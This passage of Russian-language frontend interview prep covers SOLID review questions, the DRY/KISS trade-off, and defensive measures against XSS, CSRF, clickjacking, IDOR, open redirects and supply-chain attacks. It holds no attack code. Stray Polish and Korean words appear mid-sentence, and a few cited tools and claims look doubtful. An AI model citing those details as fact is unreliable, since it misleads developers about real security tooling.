OНаследование, Виртуальные методыКомпозиция, Пропсы, Render Props, Плагины, Middleware. Изменение кода ядра — редкость.Пропсы, Слоты (children), HOC, Плагинная архитектура
LНаследование классовКонтракты интерфейсов (TS), Поведение компонентов/хуков. Замена реализации без ломки UI.TypeScript Interfaces, Тестирование контрактов
IМелкие интерфейсыМелкие Props, Разделенные Context, Специализированные TS-интерфейсы сервисов. Изоляция ре-рендеров.Context Splitting, Interface Segregation, DI
DDI Контейнеры, ИнтерфейсыЗависимость от TS-интерфейсов (Repository), Внедрение через Context/Props/Фабрики. Тестируемость.Repository Pattern, Adapter Pattern, Context Providers

Чек-лист Senior'а на Code Review:

  1. S: Есть ли у этого компонента/хука более одной причины измениться? (Данные + UI + Логика = 3 причины -> Рефактор).
  2. O: Нужно ли мне лезть в код библиотеки/базового компонента, чтобы добавить кейс? Можно ли расширить через пропс/плагин?
  3. L: Могу ли я подменить эту реализацию (API -> Mock, CSS -> Tailwind, Redux -> Zustand) в тестах/сторибуке, не трогая потребителей?
  4. I: Передаю ли я в компонент/хук God Object (весь стор, весь юзер, весь конфиг)? Можно ли передать только нужно?
  5. D: Импортирую ли я axios / localStorage / date-fns прямо в бизнес-логику? Есть ли абстракция (интерфейс) между ними?

Резюме: SOLID на фронтенде — это не догма, а инструмент управления сложностью и связанностью. Главная цель — легкая подмена деталей (DIP), изоляция изменений (SRP, ISP) и безопасное расширение (OCP, LSP). На собеседовании Senior показывает это не заученными определениями, а примерами: "Здесь мы нарушили ISP, передав весь стор в компонент кнопки, из-за чего он ре-рендерился при любом действии. Разделили контекст — убрали лишние рендеры".

Вопрос 36. Что такое DRY и KISS и как они соотносятся

Таймкод: 01:30:31

Ответ собеседника: Правильный. DRY (Don't Repeat Yourself) — не дублируй код. KISS (Keep It Simple, Stupid) — не усложняй. Указал на конфликт: иногда лучше дублировать (KISS), чем создавать сложную абстракцию (DRY), и наоборот. Баланс зависит от контекста.

Правильный ответ:

Кандидат верно определил оба принципа и, что самое важное, указал на их фундаментальное напряжение. На уровне Senior/Tech Lead ожидается не просто знание аббревиатур, а понимание цены абстракции, умение распознавать ложное дублирование и применение принципа Rule of Three (Правило трёх). Ниже — глубокий разбор с примерами на TypeScript/React.


1. DRY (Don't Repeat Yourself) — «Не повторяйся»

Суть: Каждая часть знания (логика, конфигурация, схема данных) должна иметь единственное, однозначное, авторитетное представление в системе.

Что на самом деле дублируется:

  • Бизнес-логика / Алгоритмы: Расчет скидки, валидация телефона, формирование URL API.
  • Контракты / Схемы: Типы TypeScript, Zod/Valibot схемы, OpenAPI спецификации.
  • Конфигурация: Константы окружения, названия ключей localStorage, эндпоинты.

Что НЕ является дублированием (Ложное дублирование):

  • Структурное сходство: Два компонента рендерят <div class="card">...</div>, но один — карточка товара, другой — карточка пользователя. Объединение их в Card с 10 пропсами — нарушение SRP и KISS.
  • Случайное совпадение: В модуле оплаты и модуле уведомлений есть цикл for (const item of items). Это не дублирование знания, это совпадение реализации.

Пример правильного DRY (TypeScript):

// ❌ Плохо: Логика валидации разбросана
// В компоненте формы:
if (value.length < 3) return 'Слишком коротко';
// В API валидаторе:
if (dto.name.length < 3) throw new Error('Слишком коротко');

// ✅ Хорошо: Единый источник истины (Single Source of Truth)
const nameSchema = z.string().min(3, 'Слишком коротко').max(50);

// Использование на клиенте (React Hook Form + Zod)
const form = useForm({ resolver: zodResolver(z.object({ name: nameSchema })) });

// Использование на сервере (tRPC / Next.js API / NestJS)
const createUserDto = z.object({ name: nameSchema });

Цена DRY (Over-abstraction):

  • Связанность (Coupling): Модули, не имеющие отношения друг к другу, становятся связаны через общий утилитарный модуль или базовый класс.
  • Жесткость изменений: Изменение общей абстракции ломает 10 потребителей, которым это изменение не нужно.
  • Когнитивная нагрузка: Чтобы понять, что делает код, нужно прыгать по 5 файлам абстракций.

2. KISS (Keep It Simple, Stupid) — «Делай это проще»

Суть: Системы работают лучше, если они простые. Сложность — враг надежности, отладки и онбординга. Простота ≠ Примитивность. Простота = Отсутствие случайной сложности (Accidental Complexity).

Признаки нарушения KISS:

  • Преждевременная генерализация: Абстракция «на будущее», которая никогда не использовалась более 1 раза.
  • Паттерны ради паттернов: Factory/Strategy/Decorator там, где достаточно if/else или switch.
  • Умный код: Тернарники в тернарниках, хитрые one-liner'ы на reduce, метапрограммирование без нужды.

Пример KISS в React:

// ❌ Нарушение KISS: "Умный" универсальный хук для всего
const useEntity = <T,>(config: EntityConfig<T>) => {
// 200 строк кода: кэш, оптимистик, рефетч, дедупликация, подписки...
};

// ✅ KISS: Явные, простые хуки под конкретные задачи
const useUser = (id: string) => useQuery({ queryKey: ['user', id], queryFn: () => api.getUser(id) });
const useUsers = (filters: Filter) => useQuery({ queryKey: ['users', filters], queryFn: () => api.getUsers(filters) });
// Логика кэширования инкапсулирована в React Query (библиотека), а не в нашем коде.

Senior Insight: KISS часто означает «Используй стандартные примитивы языка/фреймворка». Не пиши свой EventEmitter — используй EventTarget или библиотеку. Не пиши свой DI — используй Context/Props. Не пиши свой стейт-менеджер — используй Zustand/Redux/Jotai.


3. Конфликт и Соотношение: Где проходит граница?

Это главный вопрос собеседования. Ответ «баланс зависит от контекста» верен, но пуст. Senior дает конкретные критерии принятия решения.

Правило трёх (Rule of Three) — прагматический стандарт: > Дублируй код 1 и 2 раз. Выноси в абстракцию только при 3-м повторении.

  • 1 раз: Написал код.
  • 2 раза: Скопировал, немного адаптировал (KISS побеждает). Создание абстракции сейчас — спекуляция.
  • 3 раза: Паттерн очевиден. Рефакторим в общую утилиту/хук/компонент (DRY побеждает). Теперь у нас есть достаточно данных о вариативности, чтобы спроектировать правильный API абстракции.

Чек-лист: Стоит ли выносить в абстракцию? (DRY vs KISS)

КритерийВыносим (DRY)Оставляем дублирование (KISS)
Природа кодаБизнес-правила, алгоритмы, схемы данных, константыUI-структура, boilerplate, glue-код, настройка библиотек
СтабильностьМеняется редко, изменения всегда синхронны для всехМеняется часто, по-разному для разных потребителей
Связанность доменовОдин домен (Bounded Context)Разные домены (например, Админка и Витрина)
Параметризация1-2 параметра, чистая функция5+ пропсов, флаги isAdmin, isLoading, рендер-пропсы
ТестируемостьАбстракцию легко тестировать изолированноТесты абстракции сложнее тестов конкретных копий

Пример из жизни (Frontend):

Сценарий: Нужно отображать аватарку пользователя в Хедере, в Комментарии и в Профиле.

  1. Наивный DRY: Создаем <Avatar user={user} size="xl" shape="circle" border={true} fallback="initials" /> — 15 пропсов. В Профиле нужен квадратный, в Комментарии — с бордером, в Хедере — со статусом онлайн.
    • Результат: God Component, нарушение KISS, SRP, ISP. Любое изменение ломает всё.
  2. KISS (Дублирование разметки):
    // Header
    <img src={user.avatar} className="w-8 h-8 rounded-full ring-2 ring-white" />
    // Comment
    <img src={user.avatar} className="w-6 h-6 rounded-full" />
    // Profile
    <div className="w-32 h-32 bg-gray-100 rounded-xl flex items-center justify-center">
    {user.avatar ? <img src={user.avatar} /> : <UserIcon />}
    </div>
    • Результат: 3 простых куска кода. Никакой связанности. Изменение в Профиле не задевает Хэдер.
  3. Правильный DRY (через время): Через полгода дизайнер приносит единую дизайн-систему. Аватарки везде одинаковые: кольцо, фоллбэк, ленивая загрузка, тултип.
    • Действие: Теперь у нас есть требование (Rule of Three + стабильные требования). Пишем <Avatar src={...} size="md" status={...} /> с уже известным, устойчивым API.

4. Дополнительные принципы в арсенале Senior'а

Для полноты картины на собеседовании стоит упомянуть, что DRY/KISS — не единственные оси координат:

  • YAGNI (You Aren't Gonna Need It): Не добавляй функциональность, пока она не нужна прямо сейчас. Брат-близнец KISS. Защищает от преждевременного DRY.
  • WET (Write Everything Twice / We Enjoy Typing): Саркастичный антоним DRY. Акцентирует внимание на том, что копипаст иногда лучше ранней абстракции.
  • AHA Programming (Avoid Hasty Abstractions): Kent C. Dodds. «Избегай поспешных абстракций». Предпочитай дублирование до момента, когда абстракция становится очевидной и требуемой.
  • Coupling vs Cohesion (Связанность vs Сцепление): DRY повышает связанность (Coupling). KISS/SRP повышают сцепление (Cohesion). Цель: Low Coupling, High Cohesion.

Резюме для интервью:

> «DRY и KISS — это не противопоставление "Хорошо vs Плохо", это управление компромиссом между связанностью и дублированием. > > Мой подход: Rule of Three + Domain Boundaries. > 1. Пишу конкретный код (KISS/YAGNI). > 2. При 3-м повторении анализирую: это один домен и одинаковая семантика изменений? -> Выношу в shared (DRY). > 3. Если это разные домены (админка/фронт, оплата/доставка) — дублирую намеренно (WET), чтобы не создавать распределенный монолит. > > Главная ошибка Junior/Mid — абстрагировать структуру (JSX, HTML, пропсы). Главная задача Senior — абстрагировать поведение и данные (хуки, утилиты, схемы, репозитории).»

Вопрос 37. Какие уязвимости бывают на фронтенде и как от них защищаться

Таймкод: 01:32:11

Ответ собеседника: Правильный. XSS (Cross-Site Scripting) — главная угроза. Защита: санитизация пользовательского ввода (библиотеки типа DOMPurify), экранирование при выводе, CSP заголовки. CSRF — защита через SameSite куки, CSRF-токены. SQL-инъекции — в основном бэкенд, но валидация на фронте помогает. Хранение токенов — только в httpOnly cookies, не в localStorage. Упомянул про сертификаты (HTTPS). Не назвал Clickjacking, IDOR, открытые редиректы.

Правильный ответ:

Фронтенд‑приложения сталкиваются с рядом типичных векторов атак, которые могут привести к краже данных, захвату сессий, выполнению произвольного кода в браузере пользователя или нарушению логики бизнеса. Ниже перечислены основные уязвимости, их суть и проверенные методы защиты, применимые к современным стекам (React, Vue, Angular, Svelte, чистый JS/TS).


1. Cross‑Site Scripting (XSS)
Суть: Злоумышленник внедряет вредоносный скрипт (обычно JavaScript) в страницу, который выполняется в контексте жертвы и может красть куки, локальное хранилище, выполнять действия от имени пользователя или перенаправлять на фишинговые сайты.
Варианты:

  • Stored XSS – вредоносный код сохраняется в базе (например, в комментарии) и отдаётся всем пользователям.
  • Reflected XSS – скрипт попадает в ответ через параметры запроса (поиск, ошибка) и сразу исполняется.
  • DOM‑based XSS – уязвимость в клиентском JavaScript, который небезопасно использует location.hash, innerHTML, document.write и т.п.

Защита:

  • Экранирование вывода – при вставке пользовательских данных в HTML использовать функции экранирования (textContent, createTextNode, библиотеки вроде he для HTML‑сущностей).
  • Санитизация ввода – при приёме rich‑text (например, комментарии с разметкой) использовать проверенные библиотеки: DOMPurify, Sanitize‑HTML, JSX‑sanitize (для React).
  • Content Security Policy (CSP) – HTTP‑заголовок, ограничивающий источники загрузки скриптов, стилей, фреймов и т.д. Минимальная эффективная политика:
    Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-<random>'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self';
    • Используйте nonce или hash для инлайн‑скриптов, никогда не разрешайте 'unsafe-inline' без необходимости.
    • Включите report-uri или report-to для мониторинга нарушений.
  • Избегайте опасных API – не используйте eval, new Function(), setTimeout(string, ...), innerHTML с пользовательскими данными без санитизации.
  • HTTP‑only куки – делают доступ к токенам недоступным для document.cookie, снижая эффект кражи через XSS (хотя не защищают от выполнения действий от имени пользователя).
  • Заголовок X‑Content‑Type‑Options: nosniff – предотвращает MIME‑sniffing атаки, когда браузер может интерпретировать текст как скрипт.
  • Заголовок X‑Frame‑Options: DENY или SAMEORIGIN – защита от clickjacking (см. ниже).
  • Заголовок Referrer-Policy: strict-origin-when-cross-origin – ограничивает утечку реферера, что может помочь в некоторых сценариях XSS.

2. Cross‑Site Request Forgery (CSRF)
Суть: Злоумышленник заставляет авторизованного пользователя браузера выполнить нежелательное действие на доверенном сайте (например, перевести деньги, изменить пароль), подсунув форму или запрос, который браузер отправляет вместе с авторизационными куками.
Защита:

  • SameSite атрибут кукиSameSite=Strict (или Lax для навигаций) препятствует отправке кук при межсайтовых запросах. Это основной современный механизм.
  • CSRF‑токен (Synchronizer Token Pattern) – сервер генерирует уникальный токен на сессию, включает его в форму или заголовок (X‑CSRF‑Token), а клиент обязан его вернуть. Сервер проверяет соответствие.
  • Double Submit Cookie – токен помещается zarówno в куку, так и в заголовок/поле формы; при отсутствии доступа к куке через XSS атакующий не сможет подделать оба значения.
  • Проверка заголовков Origin/Referer – дополнительный уровень: сервер убеждается, что запрос пришёл с того же источника (или доверенного поддомена). Недостаточно сам по себе из‑за возможных подделок в некоторых прокси/браузерах, но полезен в комплексе.
  • Использование методов, не изменяющих состояние, только для безопасных операций – GET, HEAD, OPTIONS, TRACE не должны менять состояние на сервере (по RFC).

3. Clickjacking (UI redressing)
Суть: Атакующий прозрачно или частично перекрывает легитимную страницу своим iframe, обманывая пользователя кликать по элементам, которые он не видит (например, кнопка «Оплатить» скрыта под кнопкой «Получить бесплатный подарок»).
Защита:

  • X‑Frame‑Options: DENY (запрещает любую вставку в фрейм) или SAMEORIGIN (разрешает только же origin).
  • Content Security Policy directive frame-ancestors – более гибкая альтернатива:
    Content-Security-Policy: frame-ancestors 'self';
  • Код‑фрейм‑брейкер (устаревший, но иногда используется):
    if (top !== self) { top.location = self.location; }
    (не полагайтесь только на него, так как его можно обойти).

4. Insecure Direct Object Reference (IDOR)
Суть: Приложение раскрывает прямой ссылкой или идентификатором объект (например, /api/invoice/12345), и пользователь, подменив ID, получает доступ к чужим данным.
Защита:

  • Авторизация на уровне ресурса – каждый запрос должен проверять, имеет ли текущий пользователь право на доступ к конкретному объекту (роль, владение, ACL).
  • Использование непредсказуемых идентификаторов – UUID, хеши, или подписанные токены (JWT) вместо последовательных целых чисел.
  • Валидация входных параметров – убедиться, что ID принадлежит текущему пользователю/организации перед выполнением операции.

5. Open Redirect (Небезопасный перенаправляющий URL)
Суть: Приложение принимает параметр returnUrl или redirect и перенаправляет пользователя на указанный URL без проверки. Злоумышленник может перенаправить на фишинговый сайт.
Защита:

  • Белый список допустимых доменов – разрешайте перенаправления только на доверенные домены (или относительные пути).
  • Не используйте пользовательский ввод напрямую в window.location или заголовке Location – всегда выполняйте проверку.
  • Кодируйте URL – если нужен параметр, передавайте его в зашифрованном/подписанном виде (JWT с коротким TTL).

6. Кража данных через локальное хранилище (localStorage, sessionStorage)
Суть: XSS‑атака может прочитать localStorage и извлечь токены, сессии или другие секреты.
Защита:

  • Не хранить чувствительные данные в открытом виде – предпочтительно держать access‑token в памяти (переменная/хук) и использовать короткоживущие токены (5‑15 мин).
  • Refresh‑token в httpOnly‑cookie с SameSite=Strict/Lax – недоступен JavaScript.
  • Если всё‑же нужен локальный кэш – шифровать его ключом, недоступным из скрипта (например, ключ, полученный из безопасного хранилища сервера через безопасный канал).
  • Content Security Policy уменьшает шанс успешного XSS, тем самым снижая риск кражи из storage.

7. Man‑in‑the‑Middle (MITM) и downgrade атаки
Суть: Злоумышленник перехватывает трафик между клиентом и сервером (например, в публичном Wi‑Fi) и может подменять ответы, красть данные или внедрять вредоносный код.
Защита:

  • Обязательное использование HTTPS – получить сертификат от доверенного CA, включить HSTS (HTTP Strict Transport Security):
    Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
  • Отключить поддержку устаревших протоколов TLS (SSLv2/SSLv3, TLS 1.0/1.1) на сервере.
  • Certificate Pinning (в редких случаях, например, в мобильных WebView или desktop‑приложениях) – но в чистом вебе обычно избыточно и может привести к проблемам при обновлении сертификата.
  • Поддерживать perfect forward secrecy (PFS) – выбор наборов шифров с эллиптическими кривыми (ECDHE).

8. Supply Chain атаки (через зависимости)
Суть: Вредоносный код попадает в приложение через compromised npm‑пакет, CDN‑ресурс или обновление билд‑инструмента.
Защита:

  • Блокировка или аудит зависимостейnpm audit, yarn audit, dependabot, renovate, snyk, osseus.
  • Использование lock‑файлов (package-lock.json, yarn.lock) и проверка их в CI.
  • Проверка подписей и контроль версий – подписанные пакеты (npm sign), внутренние реестры с проверкой целостности.
  • Subresource Integrity (SRI) – для загрузки скриптов/стилей из CDN:
    <script src="https://cdn.example.com/lib.js"
    integrity="sha384-..."
    crossorigin="anonymous"></script>
  • Изолировать сборку – запускать npm install и сборку в чистом контейнере (Docker, CI) без доступа к секретам.
  • Минимизировать поверхность атаки – не использовать произвольные CDN‑скрипты без SRI; предпочтительно самохостинг или проверенные репозитории.

9. Ошибки конфигурации и утечка информации
Суть: Неправильные заголовки, оставленные консольные логи, source‑maps, отладочные endpoints могут раскрыть структуру приложения, секреты или упростить атаку.
Защита:

  • Удалять source‑maps в продакшене или обслуживать их только по аутентификации.
  • Отключать логирование консоли в продакшене (console.log, console.error в продакшене могут раскрыть данные).
  • Ограничивать доступ к отладочным маршрутам (/debug, /swagger, /graphql playground) – только в dev‑окружении или за аутентификацией/IP‑фильтрацией.
  • Не хранить секреты в клиентском коде – API‑ключи, токены, пароли не должны быть в репозитории или в бандле. Используйте переменные окружения на сервере или секрет‑менеджер (Vault, AWS Secrets Manager) и доставляйте их клиенту только после аутентификации (например, через защищенный эндпоинт).
  • Заголовок X‑Powered‑By: скрыть или удалить – не раскрывать стек технологий.

10. Race Conditions и небезопасная работа с состоянием
Суть: В условиях конкурентного доступа (например, несколько вкладок, веб‑воркеры, сервер‑сенд‑ивенты) может возникнуть ситуация, когда состояние обновляется некорректно, приводя к перерасходу лимитов, двойным списаниям или потере данных.
Защита:

  • Идемпотентность операций – 설계вать API так, чтобы повторный запрос с теми же параметрами не вызывал побочных эффектов.
  • Оптимистичное обновление с откатом – при отправке запроса сразу обновлять UI, но при ошибке откатывать состояние.
  • Использовать токены/версии для контроля конкуренцииIf‑Match заголовок с ETag или версия документа.
  • Сериализация критических операций – через очередь (например, IndexedDB транзакции) или серверный лок.

Итоговый чек‑лист для Senior‑разработчика при начале работы над новым фронтенд‑проектом

  1. HTTPS + HSTS включены везде.
  2. CSP настроен с минимальными привилегиями (script‑src, style‑src, frame‑ancestors, object‑src, base‑uri, form‑action).
  3. X‑Frame‑Options или frame-ancestors в CSP защищают от clickjacking.
  4. SameSite=Strict/Lax установлен на все куки, особенно на токены сессий/refresh.
  5. CSRF‑токен используется для всех небезопасных методов (POST, PUT, DELETE, PATCH) если SameSite не покрывает все кейсы (например, старые браузеры).
  6. Ввод пользовательских данных санитизирован перед вставкой в DOM (DOMPurify или аналоги).
  7. Вывод пользовательских данных экранирован (textContent, createTextNode).
  8. Access‑token хранится только в памяти, refresh‑token в httpOnly‑cookie.
  9. Локальное хранилище не содержит секретов; если нужно кэшировать – зашифровать.
  10. Зависимости аудируются, блокируются известные уязвимости, SRI используется для внешних ресурсов.
  11. Source‑maps и логи удалены/ограничены в продакшене.
  12. Авторизация проверяется на уровне каждого ресурса (защита от IDOR).
  13. Перенаправления проверяются против белого списка доменов.
  14. Встроенные защита от XSS‑фильтров в браузерах отключена (X-XSS-Protection: 0), так как CSP даёт более надёжную защиту.
  15. Регулярно проводится пентест/сканирование (OWASP ZAP, Burp, Nuclei) и ревью зависимостей.

Соблюдение этих мер значительно снижает вероятность успешной эксплуатации наиболее распространённых frontend‑уязвимостей и делает приложение устойчивым к типичным атакам в реальных условиях.